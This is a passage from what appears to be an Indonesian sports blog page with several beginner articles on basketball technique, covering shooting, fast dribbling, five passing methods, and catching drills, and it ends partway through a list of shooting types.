Dalam permainan bola basket, terdapat teknik dasar permainan. Salah satu istilah yang umum digunakan dalam bola basket yaitu shooting atau melempar bola.  Terdapat macam-macam shooting yang masing-masingnya memiliki tekniknya sendiri. Dalam melakukan shooting, terdapat teknik tertentu yang harus dikuasai, khususnya bagi pemula. Bahkan untuk sekelas pemain basket professional pun masih terus melatih teknik shooting. Shooting yang benar akan menghasilkan lemparan bola yang kuat dan tepat sasaran. Berikut ini adalah 11 cara memperkuat lemparan bola bagi pemula. Teknik ini sangat penting bagi Anda yang ingin menguasai permainan basket yang benar.

  1. Posisi Berdiri

Untuk menghasilkan lemparan bola yang kuat, hal pertama yang harus diperhatikan adalah posisi berdiri. Cara berdiri yang benar ketika ingin melakukan shooting yaitu dengan membuka kaki selebar bahu dengan menekuk lutut sedikit. Ketika menekuk lutut pastikan posisi paha stabil. Setelah itu, posisi badan lurus menghadap ring.

Ketika hendak melakukan lompatan shooting, posisi bahu atau tubuh lebih condong ke depan, bukan miring ke samping atau ke belakang. Tetap jaga keseimbangan tubuh ketika melakukan lompatan.

  1. Posisi Memegang Bola

Ketika memegang bola, pertama-tama gunakan kedua tangan Anda. Namun saat hendak melakukan shooting, hanya satu tangan saja yang digunakan. Siku tangan yang digunakan untuk mendorong bola agak ditekuk membentuk huruf L terbalik. Sedangkan tangan yang lainnya bebas sambil membantu menjaga keseimbangan. Hal terpenting lainnya lagi adalah pada saat melakukan shooting, gunakan ujung jari, bukan telapak tangan.

  1. Set Point

Cara memperkuat lemparan bola basket untuk pemula selanjutnya yaitu set point. Set point yaitu posisi bola sebelum dilakukan shooting. Bahu dan badan menghadap ring sementara bola ditempatkan di samping kanan wajah agak maju sedikit dari bahu. Set point juga bisa dilakukan dengan menempatkan bola beberapa senti di depan wajah, jika pemain merasa lebih nyaman melakukan demikian. Selain itu, posisi bola yang paling baik yaitu setinggi dahi atau sedikit di atasnya lagi. Hal ini bertujuan untuk menghindari block.

  1. Posisi Mendorong Bola ke Atas

Dibutuhkan banyak kekuatan ketika melakukan dorongan bola ke atas saat melakukan shooting, khususnya saat melakukan jump shot dan free throw. Lebih jauh lagi, ketahui juga cara melempar bola basket dengan benar. Ketika melakukan lemparan dari jarak jauh, jangan terlalu menggunakan kekuatan otot lengan maupun pergelangan tangan. Yang benar adalah dengan membiarkan otot kaki yang bekerja. Kemudian, lepaskan bola saat melakukan lompatan naik, bukan pada saat turun.

  1. Mengarahkan Bola

Jangan melakukan kesalahan dalam bola basket, terutama saat mengarahkan bola. Ketika ingin mengarahkan bola, hal pertama yang harus dilakukan adalah dengan menentukan titik tujuan. Titik tujuan pelepasan bola bisa di bagian belakang ring basket atau tepat di bagian depan atas ring. Yang harus diperhatikan selanjutnya adalah memfokuskan hanya pada titik tujuan tersebut, bukan pada bola.

  1. Melepaskan Bola

Ketika ingin melepaskan bola, lengan kanan diarahkan ke depan (arah ring basket), namun siku tetap pada posisi di dalam. Luruskan siku, lalu dengan menggunakan gerakan ujung jari dan pergelangan tangan lepaskan bola. Lakukan shooting dengan membentuk posisi melengkung seperti busur. Dengan posisi ini, kemungkinan bola masuk ring akan lebih besar.

Untuk shooting dengan jarak yang lebih jauh, gunakan tenaga ekstra saat melakukan lompatan dan melakukan set point rendah. Jangan ubah cara melepaskan bolanya. Gunakan ujung jari dan kekuatan lengan, bukan menggunakan telapak tangan. Sedangkan untuk shooting jarak pendek, lepaskan bola dengan set point yang tinggi dan mendekati puncak lompatan.

  1. Follow Through

Untuk mendapatkan spin bola yang bagus, maka harus melakukan follow through yang benar. Caranya, pertama-tama arahkan jari-jari ke ring basket dengan pergelangan tangan menekuk ke depan seperti leher angsa. Pertahankan posisi ini sesaat setelah shooting hingga bola mencapai ring. Ketika melakukan follow through, posisi telapak tangan yang benar adalah menghadap ke arah lantai. Pandangan mata harus diarahkan pada target, bukan pada bola.

  1. Latih Teknik Melempar Bola Jarak Jauh

Untuk memperoleh kekuatan lemparan bola yang maksimal, coba mulai dengan berlatih melakukan lempar bola dari jarak jauh. Melempar bola dari jarak jauh membutuhkan kekuatan yang ekstra dan teknik yang sedikit berbeda dari yang jarak normal dan dekat. Namun yang paling utama adalah kekuatan tangan yang besar. jika terbiasa dengan teknik ini maka kekuatan melempar bola juga akan bertambah. Pahami dan kuasai teknik-tekniknya yang benar agar menghasilkan tembakan yang kuat dan tepat sasaran. Jika berhasil menguasai melempar bola jarak jauh, maka akan mudah untuk menguasai teknik melempar dari jarak normal dan dekat.

  1. Melatih Keseimbangan

Menjaga keseimbangan salah satu poin penting dalam menghasilkan lemparan bola yang kuat dan tepat. Selain itu juga merupakan hal dasar yang penting bahkan wajib untuk dikuasai oleh pemula maupun pemain basket profesional. Keseimbangan tubuh diperlukan ketika melakukan shooting. Jika tubuh tidak terjaga keseimbangannya, maka akan menyebabkan lemparan bola meleset atau keluar dari sasaran. Posisi tubuh ketika melakukan tembakan bola harus benar, mulai dari tangan, bahu, dan kaki. Terus latih keseimbangan tubuh dengan mengikuti teknik yang benar.

  1. Melatih Kekuatan Tangan

Untuk menghasilkan lemparan yang kuat dan tepat sasaran, yang selanjutnya penting dilakukan adalah dengan melatih kekuatan tangan. Ini penting dilakukan karena ketika melakukan shooting, tangan lah yang memegang bola. Sehingga dibutuhkan kekuatan tangan yang baik untuk menghasilkan shooting yang kuat. Untuk mendapatkan kekuatan tangan yang baik, coba latihan melakukan shooting sebanyak mungkin. Lakukan berbagai macam variasi tembakan dan titik tujuan pelepasan bola.

  1. Latih Kemampuan Shooting

Untuk melatih kemampuan shooting yang baik dan benar bagi pemula, hal yang paling penting dilakukan adalah dengan terus berlatih. Coba terus latih kemampuan melempar bola dari yang dasar dulu. Bisa dimulai dari melakukan teknik dribble atau menggiring bola dengan lari cepat, melakukan shooting dengan satu tangan, dan lay-up dari kedua sisi. Melatih kemampuan shooting akan memperbesar kemampuan melempar bola yang kuat dan tepat sasaran.

  1. Latih Kekuatan Fisik & Stamina

Dalam olahraga apapun, tidak hanya basket, kekuatan fisik dan stamina sangat penting. Untuk memperkuat lemparan bola basket, lakukan latihan kekuatan fisik dan stamina. Jangan sampai cepat merasa kelelahan dan kehabisan stamina. Cobalah rutin melakukan latihan fisik dengan melakukan skipping, jogging, dan olahraga ringan lainnya untuk mendapatkan fisik yang tetap terjaga.

Nah itulah tadi 11 cara memperkuat lemparan bola bagi pemula untuk dapat menguasai permaianan basket yang benar hingga menjadi seorang pemain professional. Namun yang paling utama dari semua teknik tersebut adalah memahami peraturan permainan bola basket dan menjaga ketahanan fisik serta stamina. Memahami aturan main bola basket penting bagi pemula sebelum nantinya menjadi pemain profesional. Yang paling penting lagi, perhatikan cara-cara melakukan teknik yang tepat. Biasanya teknik-teknik ini diajarkan oleh pelatih, namun jika ingin belajar secara otodidak tetap bisa berlatih sendiri dengan melihat dari tayangan video-video di Youtube.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

16 Cara Dribble Bola Basket dengan Cepat

by Rita Nora
written by Rita Nora

Basket merupakan salah satu olahraga yang cukup populer di dunia. Ada beberapa teknik dasar dalam permainan bola basket yang wajib dikusasai, yaitu teknik menggiring bola atau dribbling, teknik mengoper atau passing, teknik menembak atau shooting, teknik pivot atau gerakan tipuan untuk mengelabuhi lawan. Namun, pada dasarnya basket sendiri terdiri dari beberapa hal dasar seperti cara melempar bola basket menangkap bola, dan menddribling bola.

Teknik dribble bola sangatlah penting untuk dipelajari dan terdapat teknik khusus dalam mendribble bola basket. Dalam mendribble bola basket, pemain diharuskan memantulkan bola dan tidak diperbolehkan menggunakan dua tangan dalam melakukan pantulan bola. Dan juga masih ada banyak peraturan terkait melakukan dribbling bola basket yang perlu anda ketahui. Dalam dribbling bola basket sendiri terbagi menjadi beberapa jenis diantaranya yaitu:

  • Teknik Menggiring bola tinggi, teknik ini dignakan dengan berlari, teknik ini biasa digunakan ketika berada jauh dari lawan
  • Teknik dribble bola rendah, teknik ini digunakan ketika pemain berada dekat dengan kita, dimana dengan menggunkana bola pantulan rendah, kemungkinan bola untuk direbut lawan menjadi lebih sulit.
  • Teknik Spin dribble, Untuk teknik menggiring bola basket dengan gerakan spin dribble, pemain perlu memiliki skill khusus dan perlu melakukan latihan teratur.
  • Teknik Between the legs Dribble, dimana bola dipantulkan di antara kedua kaki, teknik ini dilakuakn untuk mengelabuhi lawan
  • Teknik dribble behind the back, teknik dribble di belakang tubuh
  • Teknik dribble crossover, merupakan teknik mendribble bola dengan menggunakan kedua tangan secara bergantian dan cepata

Untuk dapat melakukan dribble dengan baik dan cepat, diperlukan pengetahuan dan juga latihan yang rutin untuk meningkatkan kemampuan dribble anda. Dan berikut adalah cara dribble bola basket dengan cepat.

  1. Perhatikan Postur Tubuh Benar, Dalam melakukan dribble bola basket, buka lutut selebar bahu, dan selalu persiapkan kaki untuk berpindah tempat. Rilekskan lutut dan sedikit menekuk, usahakan untuk tidak berdiri dengan lutut mengunci. Dan usahakan pantulan bola tidak lebih tinggi dari pinggang, usahakan bola dipantulkan kembali dibawah pertengahan paha.
  2. Latih kedua tangan anda, Lakukan latihan mendribble seperti cara pada nomor satu secara maksimal. Gunakan kedua tangan secara bergantian untuk mengasah kemampuan mendribble masing-masaing tangan. Juga latihan dilakukan dengan melkukan pantulan dengan pelan dan keras secara bergantian. Latihan dribble bola basket dengan cepat yang baik adalah menggiring bola sebanyak 20 kali berturit-turut dengan menggunakan tangan kanan, kemuidian selanutnya bisa menggunakan tangan kiri dengan menddrible bola sebanyak 20 kali juga. Jika anda sudah menguasai dengan diam, anda bisa meningkatkanya dengan melatih dribble dengan berjalan dan selanjutnya bisa berlari. Lakukan latihan secara rutin untuk memperoleh dribble bola basket dengan cepat.
  3. Gerakan tangan secara bergantian, Yang dimaksud disini adalah melakukan dribble dengan pola zigzag. Dimana dalam mendribble menggunakan tangan kanan, pantulan, tangan kiri, pantulkan dan setreusnya. Ketika anda menguasainya anda bisa melatihnya dengan berjalan mundur.
  4. Pandangan Mata fokus, Ketika melakukan dribble bola basket, pandangan anda fokuskan ke pemain lawan, ataupun ke ring target jika akan melakukan shooting. Dalam melatih untuk mendribble bola basket dengan cepat, anda harus membiasakan tidak melihat bola ketika melakukan dribble, sehingga anda bisa bergerak dengan cepat. Anda harus membiasakan hal ini untuk bisa mengasah kemampuan anda dalam memdribble bola.
  5. Gunakan jari saat melakukan dribble, Latihlah untuk merasakan dimana bola berada dan juga pantulanya, sehingga anda benar-benar mengontrol penuh atas bola yang anda bawa, dan menggiring bola dengan cepat lebih baik menggunakan jari-jari, jangan sampai bola menyentih telapak tangan. Lakukan latihan mendribble secara rutin dengan cepat.
  6. Meningkatkan kekuatan dribble, dalam melakukan dribble secara cepat, hal yang biasa dikhawatirkan adalah bola lepas dari jangkauan tangan anda. untuk mengontrol pergerakan bola, kuncinya adalah di pergelangan tangan anda, karena yang akan mengarahkan laju bola dengan sudut kemiringan adalah pergelangan tangan, dimana anda menyeseuaikan dengan kecepatan laria anda. anda bisa melatihnya dengan memantukan bola dnegan keras untuk mendapatkan kecepatan yang sama,hingga anda biasa dengan kecepatan tersebut. Setelah anda terbiasa,lakukan dribbling bola seperti biasanya.
  7. Menggunakan Latihan crossover, Crossover merupakan teknik mendribble bola dengan menggunakan kedua tangan secara bergantian dan cepat. Cara dribble bola basket seperti ini lawan akan sulit dalam merebut bola dari anda. Lakukan latihan kombinasi dengan mendribble bola seperti biasa, lalu lakukan perpindahan tangan secara berkala, 3 kali pantulan pindah tangan, tingkatkan menjadi 2 tangan hingga, anda terbiasa dalam melakukan crossover.
  8. Dribble dengan Berlari cepat, Lakukan latihan dribble bola basket dengan berlari dari garis dasar hingga ke depan, kemudian kembali lagi sampi ke garis three point, dan kembali lagi ke garis dasar, hingga sampai ke seluruh lapangan.
  9. Gunakan dua bola, untuk melatih kemampuan dribble anda, anda bisa menggunakan bola untuk mendribble dimana masing-masing bola ditempatkan pada masing-masing kanan. Cara dribble bola basket cepat ini cukup efetif untuk meningkatkan kemampuan dalam melakukan dribble bola basket.
  10. Dribbing beranting, Cara ini sangat cocok untuk anda yang berlatih dengan banyak teman. Latihan ini dilakukan dengan membagi tim menjadi 2 grup. Masing-masing grup membawa bola dengan menggunakan tangan terkuat, dalam memberikan bola, harus dari belakang. Hal ini dapat melatih feeling anda terhadap bola.
  11. Dribbling dengan melingkar, Latihan ini dilakukan dimana anda menggiring bola mengguanakn tangan kanan mengeilingi tengah lingkaran, namun anda fokus pada pusat lingkaran. Setelah anda mengelilingi penuh satu lingkaran, selanjutnya anda berbalik dann menggunakan tangan kiri untuk memutari tengah lingkaran, sambil pandangn fokusu pada pusat lingkaran.
  12. Dribbiling segi empat, Hampir sama dengan melatih dengan melingkar. Anda bisa melatihnya dengan mnyusuri pnggir lapangan atau setengah lapangan yang membentuk persegi. Dimana pandangan anda fokuskan pada garis three point.
  13. Kombinasi dribbling dan umpan, Jika anda memiliki teman dalam berlatih, lakukan dribbling cepat sambil berlari, dimana teman anda sudah menunggu ditengah lapangan. Lakukan dribbling dari titik belakang hingga hampir mendekati titik tengah, lalu umpan kepada teman anda yang sudah menunggu, dimana dalam memberikan umpan terdapat cara mengoper bola basket yang perlu anda pelajari. Selanutnya, biarkan teman anda mendribbling kedepan dan kembali lagi ke tengah kemudian anda bisa mendribbling ke titik belakang dan kembali lagi ke tengah, hingga seterusnya.
  14. Lakukan kombinasi permainan, Untuk melatih kemampuan dribbling anda dengan cepat, anda bisa membuat kombinasi permainan. Dimana, setiap pemain mendrrible bola masing-masing, sambil mengganggu pemain lain yang juga sedang melakukan dribble. Namun, bola yang anda bawa juga tidak boleh terlepas, siapa yang bisa mempertahankan bola paling lama dialah pemenangnya. Hal ini sangat efektif untuk melatih dribble agar tidak terebut oleh lawan.
  15. Dribble dengan meutup mata, Cara dribble bola basket ini bertujuan untuk merasakan fell dari bola yang memantul, dimana tanpa melihat anda bisa melakukan dribble dengan baik. Lakukan selama kurang lebih dua menit agar anda bisa merasakan bolanya.
  16. Latihan otot tangan, untuk bisa melatih dribble bola basket dengan cepat anda juga harus melkuakn latihan fisik untuk pemain basket terutama pada bagian tangan. Anda bisa melakukan driblle dengan menggunakan tangan selama beberapa menit untuk kemudian berganti dengan tangan yang satunya. Hal ini dilakukan untuk memperkuat otot tangan agar kemampuan dribble anda bisa lebih baik dan lebih cepat.
0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

5 Cara Melempar Bola Basket dengan Benar

by Rita Nora
written by Rita Nora

Olahraga basket merupakan olahraga yang cukup populer di dunia. Dimainkan oleh 5 pemain dalam satu tim, dimana hanya ada 2 tim yang akan bertanding untuk memasukkan bola sebanyak – banyaknya ke jaring lawan. Basket menggunakan tangan sebagai media utama dalam memainkanya. Salah satu atlet basket terkenal dunia adalah Kobe Bryant dimana merupakan pemain di yang bermain di NBA Amerika.

Di Indonesia sendiri bola basket juga memiliki penggemarnya tersendiri dan juga termasuk olahraga populer selain sepak bola dan bulu tangkis. Bahkan, olahraga basket juga dimasukkan ke dalam materi perlajaran sekolah. Dalam permainan basket, terdapat banyak teknik dasar yang bisa anda pelajari, diantaranya yaitu teknik mendribble bola, teknik melempar bola, teknik menangkap bola, teknik shooting, dan juga teknik rebounding. Selain itu juga terdapat beberapa teknik tanpa bola, dimana mengajarkan anda bagaimana cara merebut bola dari lawan, dan teknik defense. Karena basket sangat sensitif terhadap kontak fisik antar pemain.

Untuk menjadi seorang pemain basket professional, anda perlu menguasai semua teknik dasar. Dan salah satu teknik dasar yang terpenting adalah teknik melempar bola basket. Dalam melempar bola basket, bukanlah perkara yang mudah bagi seorang pemula. Karena bola basket memiliki bobot yang lumayan berat. Untuk itu kami sajikan 5 Cara melempar bola basket yang baik dan benar.

  1. Chest Pass (Melempar setinggi dada)

Sebelum anda belajar melempar bola basket, anda bisa mempelajari dahulu cara memegang bola basket, dimana teknik ini merupakan teknik paling dasar dalam bermain basket. Chest Pass, merupakan cara melempar bola basket secara lurus setinggi dada dengan menggunakan dua tangan. Lemparan ini biasa digunakan untuk mengoper lawan yang jaraknya dekat, dan tanpa halangan. Karena lemparan ini lurus setinggi dada. Dan berikut adalah cara melempar basket dengan teknik chest pass.

Sikap awalan dalam melakukan lemparan chest pass.

  • Anda bisa berdiri dengan menghadap ke pemain yang ingin anda oper, kedua kaki dibuka ke depan selebar bahu, badan agak condong ke depan, dan lutut agak sedikit ditekuk
  • Bola dipegang dengan kedua tangan, dan diletakkan di depan dada
  • Tekuk siku dan tarik bola kedalam, sehingga bola tepat di depan dada.
  • Lempar bola dengan meluruskan tangan dan lecutkan dengan tenaga
  • Sambil melepaskan bola dari tangan, dan ketika tangan sudah pada kondisi lurus. Telapak tangan juga ikut mendorong, dengan diikuti gerakan jari-jari agar lemparan kuat dan tepat.

Dalam melakukan lemparan ini, sebisa mungkin lemparan kuat. Agar bola yang datang bisa lurus dan cepat, sehingga kemungkinan bola di potong lawan sangat kecil. Untuk itu perlu menguatkan tangan anda agar lemparan bisa akurat. Anda bisa mempelajari latihan fisik untuk pemain basket.

  1. Overhead Pass (Melempar diatas kepala)

Overhead pass atau lemparan di atas kepala biasanya digunakan ketika memberikan operan kepada pemain dengan jarak jauh, kepada pemain dengan jarak dekat namun lawan sangat dekat dengan anda. Selain itu teknik lemparan ini juha bisa digunakan untuk melakukan shooting ke dalam ring dari jarak yang sangat jauh. Untuk mempelajari teknik shooting yang lain anda bisa mempelajari Macam-macam teknik shooting dalam bola basket. Overhead pass bertujuan untuk menghindari jangkauan tangan dari lawan. Dan berikut adalah cara melempar bola basket dengan teknik overhead pass.

  • Sikap Awalan, dalam melakukakn sikap permulaan, anda bisa berdiri dengan salah satu kaki didepan dengan kaki dibuka selebar bahu. Pegang bola diatas kepala dengan menggunakan bola tangan. Tekuk kedua kaki dan pusatkan pandangan pada sasaran lemparan.s
  • Sikap Melempar, Setelah anda sudah berada pada sikap awalan, gerakkan bola yang tadinya berada diatas kepala tarik kebelakang hingga ke belakang kepala, atau sesuai jarak dari obyek yang akan anda lempar. Lempar bola dengan melewati kepala dan lecutkan bola dengan menggerakan telapak dan juga jari tangan.
  • Sikap Akhir, jari tangan berfungsi untuk lebih lebih mengarahkan dan juga meningkatkan akurasi dari lemparan anda.
  1. Bounce Pass (Lemparan pantul)

Bounce Pass merupakan Lemparan dengan memantulkan bola ke lantai. Tujuan dari lemparan ini adalah untuk mengoper kepada teman, untuk menghindari pemain lawan yang jangkung. Dalam melakukan lemparan ini, anda harus bisa memprediksi sudut lemparan dan juga letak teman anda berada. Dan berikut adalah tehapan dalam melakukan lemparan bola basket dengan teknik bounce pass.

  • Berdiri dengan kedua kaki terbuka, kira-kira selebar bahu.
  • Tekuk sedikit lutut
  • Condongkan sedikit badan anda ke depan
  • Pegang bola dengan kedua tangan di depan dada dan tangan dalam keadaan menekuk
  • Lempar kebawah hingga memantul lantai untuk memberikan umpan kepada teman anda
  • Anda bisa menggunakan jari tangan untuk menambah kecepatan dan akurasi dari laju bola, namun juga jangan terlalu keras, karena akan menyulitkan teman anda dalam menangkap bola.

Lakukan latihan beberapa kali, dan simulasikan dengan teman anda. Lakukan bertahap, mulai dari jarak yang dekat dan jauh, variasikan dengan lawan yang juga ikut bermain untuk menghalangi pandangan. Selain itu, untuk melakukan bounce pass anda harus bisa memprediksi sudut dan kecepatan lemparan.s

  1. Baseball Pass

Lemparan ini biasa dilakukan ketika mengoper dengan rekan satu tim dalam jarak yang sangat jauh.  Biasanya base ball pass digunakan untuk mengumpan dengan jarak lebih dari setengah lapangan.  Base ball pass dilakukan dengan menggunakan satu tangan dimana lemparan dilakukan dari atas. Lemparan ini memang tidak terlalu akurat, namun sangat efektif jika untuk melakukan serangan balik atau Fast Break. Berikut adalah cara untuk melakukan lemparan base ball pass.

  • Posisikan badan berdiri dengan salah satu kaki di depan selebar bahu
  • Bawa bola dengan satu tangan ke bagian belakang kepala
  • Angkat satu tangan yang tidak memegang bola ke depan hingga hampir setinggi dada. Hal ini bertujuan untuk menambah tenaga lemparan dan meningkatakan akurasi lemparan.
  • Lalu lempar bola ke atas, namun juga perkirakan bola jatuh pada sasaran yang anda tuju.
  1. Behind The back Pass (Lemparan belakang punggung)

Lemparan ini sengat jarang digunakan, dimana teknik lemparan ini juga cukup rumit untuk dilakukan. Teknik Lemparan behind the back pass bertujuan untuk mengecoh lawan yang berada di depan dengan cara mengopernya ke pemain di yang menyambut bola disamping secara cepat. Sehingga pemain lawan tidak bisa memprediksi arah lemparan bola. Dan berikut adalah beberapa tahapan dalam melakukan behind the back pass. 

  • Pegang bola dengan satu tangan, dengan kaki terbuka selebar paha.
  • Lakukan gerakan dengan cepat, dengan memutar telapak tangan dan jangan sampai bola terjatuh.
  • Lalu sapukan bola menuju samping berlawanan dengan tangan anda.
  • Pergunakan telapak tangan dan jari-jari dalam memaksimalkan laju bola

Lakukan latihan berkali-kali, sehingga anda bisa melakukanya dengan baik. Dalam melakukan teknik lemparan ini dalam bermain bola basket, anda harus bergerak cepat dan berkoordinasi dengan pemain satu tim anda.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

12 Cara Menangkap Bola Basket yang Benar dan Pola Latihannya

by Rita Nora
written by Rita Nora

Permainan basket merupakan salah satu olahraga yang dilakukan secara tim. Dimana setiap tim terdiri dari lima orang dan mereka berkompetisi untuk mencetak poin dengan memasukkan bola ke keranjang. Olahraga ini sangat populer di Amerika, dengan salah satu kompetisi kelas dunia nya yaitu NBA (National Basketball Assosiation). Di Indonesia sendiri Olahraga basket juga cukup populer, dimana basket di Indonesia memiliki Induk olahraga bernama Perbasi dan dengan kompetisi bergengsi dengan nama NBL (National Basketball League).

Permainan Bola Basket sendiri terdiri dari 3 posisi utama, antara lain yaitu:

  • Forward, Posisi dimana pemain bertugas untuk mencetak poin dengan memasukkan bola ke keranjang lawan sebanyak-banyaknya
  • Defense, Posisi dimana pemain bertugas menjaga pemain lawan agar tidak memasukkan bola ke dalam keranjang tim.
  • Playmaker, Posisi dimana pemain bertugas mengatur strategi dan mengatur alur bola yang dimainkan. Posisi ini merupakan posisi yang cukup sentral dalam permainan bola basket.

Kompetisi Basket Biasanya dimainkan di gedung tertutup dan memiliki lapangan yang tidak terlalu besar. Permainan bola basket menggunakan tangan sebagai sarana utama untuk bermain. Dimana ada berbagai macam teknik dasar dalam bermain bola basket. Untuk langkah awal mungkin anda bisa berlatih cara memegang bola basket yang baik dan benar. Karena bola basket memiliki ukuran yang cukup besar, jadi biasankan diri untuk memegang sambil melakukan rebounding, karena permainan basket juga wajib memantulkan bola ke lantai.

Teknik Dasar Menagkap Bola Basket

Setelah anda sudah terbiasa dalam memegang bola, anda bisa melatih beberapa teknik dasar lainya, yaitu teknik melempar bola, teknik untuk menggiring bola, dan teknik cara melakukan shooting. Selain, teknik dasar diatas ada Salah satu teknik dasar yang harus dikuasai, namun terkadang di abaikan yaitu teknik menangkap bola dalam permainan bola basket. Teknik ini meskipun terbilang cukup mudah, namun juga ada langkah-langkah tersendiri agar tangkapan bola baik dan tidak terlepas dari tangan. Karena jika sampai terlepas atau tidak tertangkap bisa menyebabkan bola dikuasai oleh tim lawan.  Dan berikut adalah beberapa langkah cara menangkap bola basket.

  1. Persiapan Awal

Dalam melakukan teknik untuk menagkap bola basket hasil umpan dari rekan satu tim, memang terbilang lebih mudah daripada merebut bola dari hasil rebound dimana bola pantulan hasil shooting yang gagal terkadang sulit ditebak. Dan untuk cara menangkap bola juga bermacam-macam tekniknya. Namun, persiapan awal memang sangat dibutuhkan dalam menerima dan menangkap bola.

Anda bisa berdiri dan melangkahkan kaki menuju arah datangnya bola. Tangan kedepan untuk menyongsong bola yang sedang dilempar ke arah anda. dan siapkan telapak tangan menghadap arah dari mana bola berasal. Dan pastikan ketika menangkap bola, berat badan menumpu pada kaki depan.

  1. Gerakan Inti

Setelah anda melangkah kearah bola dan bola menyentuh telapak tangan. Kaki depan sebagai tumpuan bisa ditarik ke belakang. Agak tekan pada bola agar bola tidak terlepas dan tarik lengan hingga bola berada di hadapan anda.

  1. Gerakan Akhir

Setelah bola berada di tangan, condongkan badan sedikit kedepan. Usahakan untuk berat badan menumpu pada kaki yang berada di bagian belakang. Dan pastikan bola berada di depan badan untuk selanjutnya anda bisa mendrible bolanya, atau anda bisa oper lagi kepada teman satu tim anda. Karena dalam peraturan bola basket ada batas waktu tertentu untuk memegang bola. 

Anda juga bisa mempelajari cara mengoper bola basket yang baik dan benar, agar nantinya tidak menyusahkan teman satu tim dalam menagkap bola hasil operan anda.

Ketentuan Menagkap Bola Basket

Ketika bola sudah berada di Tangan anda, ada beberapa hal yang perlu diperhatikan dalam menagkap bola basket diantaranya yaitu

  1. Ketika menerima bola, anda harus mengamati datangnya bola dan bisa memprediksi arah dan waktu yang pas untuk melakukan persiapan awal dalam menagkap bola, dan pastikan bola sudah dalam penguasaan anda.
  2. Ketika menagkap bola, usahakan untuk menjemput bola hasil umpan dari lawan, atau hasil dari rebounding. Yaitu dengan gerakan jari dan tangan yang rileks dan lentur.
  3. Kecepatan bola saat diumpan cukup bervariasi, jadi ketika bola dengan kecepatan tinggi, jangan melawan arah gerakan bola. Hal ini akan malah membuat bola lebih mudah terlepas. Jadi usahakan untuk mengikuti arah gerakan bola, atau ketika bola berada di telapak tangan, anda bisa menarik tangan anda ke belakang untuk meredam kecepatan bola.

Pola Latihan menagkap bola Basket

Teknik menangakap bola basket bukanlah hal yang sulit dilakukan, namun anda juga tidak bisa mengabaikanya karena teknik menagkap bola basket merupakan teknik dasar yang selalu digunakan dalam permainan basket. Untuk bisa dan fasih dalam menangkap bola, anda bisa selalu berlatih untuk menangkap bola dengan berbagai metode yang bisa dilakukan. Selain itu, Anda juga perlu melatih kekuatan otot tangan,kaki dan juga pinggang dengan beberapa Latihan fisik untuk pemain basket paling tepat untuk memperkuat tubuh. Dan berikut adalah salah satu pola latihan yang  bisa digunakan untuk melatih kemampuan menagkap bola dalam permainan bola basket.

  1. Latihan ini bisa anda lakukan sendiri dengan hanya membutuhkan bola basket dan sebuah tembok yang digunakan sebagai pemantul.
  2. Berdiri dengan jarak sekitar 3 meter dan menghadap ke dinding dan bersiaplah untuk melempar dengan memantulkanya ke dinding.
  3. Lihat bola hasil pantulan yang menuju ke Anda dan tangkap dengan melakukan gerakan sesuai dengan teknik dasar menangkap bola basket yang dijelaskan di atas. Setelah menangkap, kencangkan tangan anda dengan menariknya ke dada Anda dengan siku sedikit ditarik.
  4. Lakukan beberapa lemparan dengan memantulkanya ke dinding hingga Anda berhasil menangkap lima kali berturut-turut tanpa meraba-raba. 
  5. Lakukan Variasi dengan melempar dengan arah lebih tinggi,lebih rendah serta dengan tenaga lemparan yang juga bervariasi. Sehingga bola yang memantulpun juga bervariasi.
  6. Lakukan beberapa lemparan seperti pada nomor lima, Hingga Anda berhasil menangkap lima kali berturut-turut tanpa meraba-raba.
  7. Kombinasikan dengan lemparan dengan sudut yang berbeda, dan anda bisa melakukan dengan sedikit gerakan melangkah ataupun berlari.
  8. Jika anda sudah mahir dengan latihan menangkap bola basket dari jarak 3.5 meter anda bisa memperpendek jarak menjadi 2.5 meter.
  9. Lakukan berkali-kali agar kemampuan anda berkembang dan teruslah bergerak ke dinding, dan lakukan beberapa kombinasi latihan agar kemampuan anda semakin baik.

Untuk menjadi seorang atlet basket professional tentunya anda perlu berlatih keras untuk mewujudkanya. Jika anda sudah menguasai teknik menangkap bola basket, anda bisa berlatih untuk beberapa teknik yang lain, seperti teknik dalam melakukan dribbling, melakukan shotting, teknik saat terjadi rebounding dan sebagainya.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

7 Teknik Dasar Bola Basket Shooting dan Pengertiannya

by Rita Nora
written by Rita Nora

Teknik dasar permainan bola basket mungkin sudah anda kuasai di materi sebelumnya. Dimana di dalam materi tersebut kita mengenal yang namanya shooting bola basket. Lantas, apa itu shooting bola basket? Dan bagaimana teknik dasar bola basket shooting yang benar? Untuk mempermudah pemahaman tentang teknik tersebut. Mari simak pembahasan di bawah ini.

Teknik shooting atau yang biasa disebut dengan shooting bola basket merupakan salah satu teknik di dalam permainan bola basket yang ditujukan untuk memasukan bola ke dalam ring basket lawan demi mencetak point yang lebih banyak. Di permainan bola basket teknik seperti sangat sering dilakukan. Tujuannya tak lain adalah untuk memenangkan pertandingan dari musuh yang dihadapi.

Meskipun terlihat mudah, namun teknik shooting dalam permainan bola basket tentu tidak dilakukan dengan cara sembarangan. Dibutuhkan teknik yang tepat agar bola bisa masuk ke dalam ring lawan tanpa meleset. Untuk anda yang ingin tahu teknik dan cara melakukan shooting dalam bola basket. Berikut adalah teknik dasar shooting bola basket yang benar.

Teknik Dasar Bola Basket Shooting

Teknik shooting bola basket atau teknik menembakan bola ke arah ring basket lawan merupakan titik poin yang sering dilakukan oleh para pemain basket untuk memperoleh poin dari permainan mereka. Di dalam teknik ini terdapat beberapa macam cara yang bisa dilakukan. Berikut adalah macam-macam shooting bola basket yang bisa anda lakukan:

  1. One Hand Set Shoot (Tembakan Satu Tangan)

Tembakan satu tangan atau One Heand Set Shoot merupakan teknik melempat dengan satu buah tangan hingga bola masuk ke sasaran ring lawan. Teknik seperti ini dapat dilakukan apabila posisi pemain sedang dalam himpitan lawan. Artinya, pemain bisa melakukan shoot meskipun posisi mereka dalam situasi yang tidak terlalu luas.

Untuk melakukan teknik shooting dengan tembakan satu tangan. Berikut adalah cara yang bisa anda lakukan dengan baik dan benar:

  • Lihat posisi target ring, apakah sudah dekat dengan posisi anda ataukah belum
  • Rentangkan kedua kaki, bahu dan punggung untuk memulai memasukan bola
